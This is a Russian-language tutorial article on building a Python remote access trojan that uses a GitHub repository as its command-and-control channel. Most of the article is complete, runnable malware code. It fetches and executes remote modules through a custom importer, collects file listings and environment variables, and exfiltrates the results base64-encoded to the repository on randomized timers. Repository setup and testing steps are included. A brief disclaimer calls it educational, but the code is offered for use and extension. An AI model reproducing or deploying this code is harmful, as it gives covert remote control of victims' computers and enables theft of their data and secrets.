- Создание трояна с помощью GitHub
- Настройка GitHub
- Инициализация репозитория
- Модули
- Файл конфигурации
- Код скрипта
- Импорты
- Подключение к репозиторию GitHub
- Получение содержимого из репозитория
- Класс Trojan
- Получение конфигурации
- Запуск модулей и сохранение результатов
- Основной цикл работы трояна
- Динамическая загрузка модулей с GitHub
- Запуск трояна
- Проверка трояна
- Заключение
В этой статье расскажу, как создать троян (RAT), используя GitHub в качестве платформы для управления проектом и хранения кода. Мы пройдем через все этапы — от настройки репозитория на GitHub до написания и тестирования модулей трояна. Я постараюсь максимально подробно объяснить процесс на основе материалов книги «Black Hat Python» и собственных дополнений.
Еще по теме: Как написать троян на Python
Создание трояна с помощью GitHub
Remote Access Trojan, или RAT (Рат / Ратник), — это вредоносное ПО, которое позволяет получить несанкционированный удаленный доступ к целевому компьютеру. RAT дает возможность удаленно управлять компьютером жертвы. Управление может быть частичным, например, запись нажатий клавиш, или полным, включая выполнение команд, доступ к файлам и контроль над мышью и клавиатурой. Подробнее см. в статье «Что такое RAT»
Распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.
Настройка GitHub
Первое, что нужно сделать, — это создать аккаунт на GitHub. Это бесплатно и несложно.
После регистрации аккаунта создайте новый репозиторий нажав Add new repository (Добавить новый репозиторий) и дайте ему имя. Можно сделать его публичным или приватным. После создания репозитория сгенерируйте API-ключ для подключения к аккаунту GitHub.
В правом верхнем углу нажмите на круг с вашим именем или аватаркой.
Затем прокрутите вниз и выберите Settings (Настройки).
В самом низу страницы перейдите на вкалду Developer settings (Настройки разработчика).
Откройте выпадающий список Personal access tokens и выберите Tokens (classic).
Нажмите на Generate new token (Создать новый токен) и затем снова на Generate new token (classic).
Дайте токену название и срок действия. Я выбрал неограниченный срок и дал полный доступ. Прокрутите вниз и нажмите Generate token (Сгенерировать токен).
На следующей странице увидите токен. Скопируйте его и сохраните для дальнейшего использования.
Теперь создадим каталоги и подключим GitHub.
Инициализация репозитория
В терминале выполните следующие команды:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
mkdir Trojan mkdir data mkdir modules mkdir config mkdir status touch .gitignore git add . git commit -m "Добавление структуры репозитория для трояна" git remote add origin https://github.com/юзернейм/название_вашего_репозитория git remote set-url origin https://username:Token@github.com/юзернейм/название_вашего_репозитория git branch -M main git push origin main |
После этого, в репозитории на GitHub, должен появится файл .gitignore. Папки пока не отображаются, так как они пусты.
Модули
Модули будут отдельными компонентами трояна, каждый из которых отвечает за конкретную задачу, такую как кейлоггинг, эксфильтрация данных или обратный шелл. Эти модули будут представлять собой отдельные скрипты. Давайте создадим два простых модуля.
Создайте файл dirlister.py в папке modules и добавьте следующий код:
1 2 3 4 5 |
import os def run(**args): print("[*] In dirlister module") files = os.listdir(".") return str(files) |
Теперь, когда вы добавляете что-то новое в программу, не забывайте коммитить изменения. Используйте следующие команды всякий раз, когда вносите изменения в код:
1 2 3 |
git add . git commit -m "Добавьте заметку, которая поможет вам помнить, что делает код" git push origin main |
Этот скрипт просто выводит список файлов в текущей рабочей директории. В будущем, когда будете создавать новые модули, убедитесь, что у каждого модуля есть функция run, которая принимает переменное количество аргументов. Это позволит загружать каждый модуль одинаково, поддерживая модульную структуру программы.
Давайте создадим еще один модуль. В терминале создайте новый файл environment.py и добавьте следующий код:
1 2 3 4 5 |
import os def run(**args): print("[*] In environment module.") return os.environ |
Этот тоже простой модуль, который возвращает все переменные окружения, доступные текущему процессу.
Файл конфигурации
Теперь создадим файл конфигурации. В папке config создайте JSON-файл abc.json и добавьте в него следующий код:
1 2 3 4 5 6 7 8 |
[ { "module" : "dirlister" }, { "module" : "environment" } ] |
Мы используем JSON по нескольким причинам:
- JSON легкий и не увеличивает размер файла. Это по сути текстовый файл с компактным форматом, который эффективно парсить и обрабатывать.
- JSON не привязан к какому-либо конкретному языку программирования, что делает его удобным для использования.
Конечно, есть и другие причины, но это основные. А теперь переходим к самому интересному!
Код скрипта
Для начала я покажу весь код скрипта Python, а потом разберем все подробнее.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
import base64 import github3 import importlib import json import random import sys import threading import time from datetime import datetime # Функция для подключения к репозиторию GitHub с использованием токена, хранящегося в локальном файле def github_connect(): try: # Считываем токен из файла secret.txt with open('secret.txt') as f: token = f.read().strip() user = "your_github_username" # Имя пользователя GitHub sess = github3.login(token=token) # Вход в GitHub с использованием токена return sess.repository(user, 'your_repository_name') # Возвращаем конкретный репозиторий except Exception as e: print(f"Ошибка подключения к GitHub: {e}") sys.exit(1) # Функция для получения содержимого файла из конкретного каталога в репозитории GitHub def get_file_contents(dirname, module_name, repo): try: # Получаем содержимое файла из указанного каталога и имени модуля return repo.file_contents(f'{dirname}/{module_name}').content except github3.exceptions.NotFoundError: print(f"Файл {dirname}/{module_name} не найден в репозитории.") return None except Exception as e: print(f"Ошибка при получении содержимого файла: {e}") return None # Класс, представляющий троян class Trojan: def __init__(self, id): self.id = id # Идентификатор для данного экземпляра трояна self.config_file = f'{id}.json' # Файл конфигурации для трояна self.data_path = f'data/{id}/' # Путь для хранения данных self.repo = github_connect() # Подключаемся к репозиторию GitHub # Метод для получения конфигурации из репозитория GitHub def get_config(self): try: # Получаем и декодируем файл конфигурации из директории config config_json = get_file_contents('config', self.config_file, self.repo) if config_json: config = json.loads(base64.b64decode(config_json)) for task in config: # Динамически импортируем указанный в конфигурации модуль if task['module'] not in sys.modules: exec(f"import {task['module']}") return config # Возвращаем конфигурацию в виде словаря else: print("Не удалось получить конфигурацию.") return [] except Exception as e: print(f"Ошибка при получении конфигурации: {e}") return [] # Метод для запуска конкретного модуля из конфигурации def module_runner(self, module): try: if module in sys.modules: # Выполняем метод run модуля и сохраняем результат result = sys.modules[module].run() self.store_module_result(result) else: print(f"Модуль {module} не найден.") except Exception as e: print(f"Ошибка при запуске модуля {module}: {e}") # Метод для хранения результата выполнения модуля в репозитории GitHub def store_module_result(self, data): try: message = datetime.now().isoformat() # Получаем текущее время в виде строки remote_path = f'data/{self.id}/{message}.data' # Определяем удаленный путь в репозитории # Кодируем данные в base64 bindata = base64.b64encode(bytes(f'{data!r}', 'utf-8')) # Создаем новый файл в репозитории с закодированными данными self.repo.create_file(remote_path, message, bindata) except Exception as e: print(f"Ошибка при сохранении данных: {e}") # Основной метод для запуска трояна def run(self): while True: config = self.get_config() # Получаем конфигурацию из репозитория for task in config: # Для каждой задачи в конфигурации запускаем модуль в новом потоке thread = threading.Thread(target=self.module_runner, args=(task['module'],)) thread.start() # Случайное время ожидания от 1 до 10 секунд перед началом следующей задачи time.sleep(random.randint(1, 10)) # Случайное время ожидания от 30 минут до 3 часов перед повторением процесса time.sleep(random.randint(30*60, 3*60*60)) # Класс для динамического импорта Python-модулей из репозитория GitHub class GitImporter: def __init__(self): self.current_module_code = "" # Хранит код текущего модуля # Метод для поиска и загрузки модуля def find_spec(self, fullname, path, target=None): print(f"[*] Попытка получить {fullname}") self.repo = github_connect() # Подключаемся к репозиторию GitHub try: # Получаем код модуля из директории 'modules' new_library = get_file_contents('modules', f'{fullname}.py', self.repo) if new_library is not None: # Декодируем код модуля из base64 self.current_module_code = base64.b64decode(new_library) return importlib.util.spec_from_loader(fullname, loader=self) except github3.exceptions.NotFoundError: print(f"[*] Модуль {fullname} не найден в репозитории.") except Exception as e: print(f"Ошибка при загрузке модуля {fullname}: {e}") return None # Возвращаем None, если модуль не найден или возникла ошибка # Метод для создания модуля (не используется, возвращает None) def create_module(self, spec): return None # Метод для выполнения кода модуля def exec_module(self, module): try: # Выполняем код модуля в контексте словаря модуля exec(self.current_module_code, module.__dict__) except Exception as e: print(f"Ошибка при выполнении кода модуля: {e}") # Основная часть скрипта if __name__ == '__main__': # Добавляем GitImporter в путь поиска модулей системы sys.meta_path.append(GitImporter()) # Создаем экземпляр Trojan с определенным ID и запускаем его trojan = Trojan('abc') trojan.run() |
Импорты
Начнем с подключения нужных модулей. Нам понадобятся библиотеки для работы с GitHub, кодирования данных, работы с потоками, и несколько других:
1 2 3 4 5 6 7 8 9 |
import base64 import github3 import importlib import json import random import sys import threading import time from datetime import datetime |
Подключение к репозиторию GitHub
Сначала нужно подключиться к репозиторию на GitHub. Для этого создадим функцию, которая будет считывать токен из локального файла и использовать его для аутентификации:
1 2 3 4 5 6 7 |
def github_connect(): with open('secret.txt') as f: token = f.read().strip() # Чтение токена из файла user = "ваш_юзернейм" # Замените на ваш юзернейм GitHub repo_name = "название_вашего_репозитория" # Замените на название вашего репозитория sess = github3.login(token=token) # Аутентификация с использованием токена return sess.repository(user, repo_name) # Возвращает репозиторий |
Получение содержимого из репозитория
Теперь,после подключения можно написать функцию для получения содержимого файла из репозитория:
1 2 |
def get_file_contents(dirname, module_name, repo): return repo.file_contents(f'{dirname}/{module_name}').content |
Класс Trojan
Основной функционал будет реализован в классе Trojan. Этот класс будет отвечать за получение конфигурации, выполнение модулей и сохранение результатов:
1 2 3 4 5 6 |
class Trojan: def __init__(self, id): self.id = id self.config_file = f'{id}.json' self.data_path = f'data/{id}/' self.repo = github_connect() |
Получение конфигурации
Ратник будет загружать конфигурационный файл с GitHub, который определяет, какие модули запустить:
1 2 3 4 5 6 7 |
def get_config(self): config_json = get_file_contents('config', self.config_file, self.repo) config = json.loads(base64.b64decode(config_json)) for task in config: if task['module'] not in sys.modules: exec("import %s" % task['module']) return config |
Запуск модулей и сохранение результатов
После загрузки конфига троян будет выполнять модули и сохранить результаты на GitHub:
1 2 3 |
def module_runner(self, module): result = sys.modules[module].run() self.store_module_result(result) |
1 2 3 4 5 |
def store_module_result(self, data): message = datetime.now().isoformat() remote_path = f'data/{self.id}/{message}.data' bindata = base64.b64encode(bytes('%r' % data, 'utf-8')) self.repo.create_file(remote_path, message, bindata) |
Основной цикл работы трояна
Рат будет работать в бесконечном цикле, периодически проверяя конфиг и выполняя модули:
1 2 3 4 5 6 7 8 |
def run(self): while True: config = self.get_config() for task in config: thread = threading.Thread(target=self.module_runner, args=(task['module'],)) thread.start() time.sleep(random.randint(1, 10)) time.sleep(random.randint(30*60, 3*60*60)) |
Динамическая загрузка модулей с GitHub
Чтобы троян мог загружать и выполнять модули прямо с GitHub, создадим класс GitImporter, который будет отвечать за динамическую загрузку кода:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
class GitImporter: def __init__(self): self.current_module_code = "" def find_spec(self, fullname, path, target=None): print(f"[*] Attempting to retrieve {fullname}") self.repo = github_connect() try: new_library = get_file_contents('modules', f'{fullname}.py', self.repo) if new_library is not None: self.current_module_code = base64.b64decode(new_library) return importlib.util.spec_from_loader(fullname, loader=self) except github3.exceptions.NotFoundError: print(f"[*] Module {fullname} not found in repository.") return None def create_module(self, spec): return None def exec_module(self, module): exec(self.current_module_code, module.__dict__) |
Запуск трояна
Для того чтобы запустить ратник, нужно добавить GitImporter в системный путь поиска модулей и создать экземпляр класса Trojan:
1 2 3 4 |
if __name__ == '__main__': sys.meta_path.append(GitImporter()) trojan = Trojan('abc') trojan.run() |
Проверка трояна
Код написан, давайте его протестируем. Сначала создадим файл secret.txt в той же директории, где находится trojan.py, и добавим туда наш токен GitHub.
Не забудьте добавить этот файл в .gitignore, чтобы он не попал в репозиторий.
Запустим:
1 |
python3 trojan.py |
После запуска, дайте немного поработать, затем остановите с помощью Ctrl + C. Теперь давайте загрузим данные из репозитория на GitHub:
1 |
git pull |
Если все прошло успешно, вы увидите два файла в директории data вашего репозитория.
Файл с именем abc. В нем содержатся все данные, которые получили от модулей. Перейдите в каталог abc:
Здесь данные с установленными временными метками. Давайте посмотрим, что в них содержится.
Информация зашифрована. Давайте расшифруем и посмотрим что там внутри.
Для расшифровки данных из файлов можно использовать следующую команду:
1 |
base64 -d имяфайла |
Данные модуля dirlister. Теперь вы можете сделать то же самое с другим файлом.
Заключение
Наш простой троян успешно работает, и теперь у вас есть базовое понимание того, как создаются подобные инструменты на Python. В будущем я планирую написать больше статей на эту тему, где расскажу, как добавлять новые модули. Но пока, можете поэкспериментировать с этим кодом сами, добавляя свой функционал.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как создать троян для Android
- Установка и использование HaxRat на Termux и Kali Linux
- Сокрытие трояна с помощью Social Engineering Toolkit (SET)